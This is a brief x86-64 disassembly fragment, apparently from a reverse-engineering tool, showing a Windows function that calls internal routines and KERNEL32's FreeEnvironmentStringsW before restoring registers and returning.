xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000ce4c
test eax, eax
jne 0x14000d009
mov rcx, rdi
call fcn.140009378
jmp 0x14000d013
xor ecx, ecx
call fcn.140009378
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret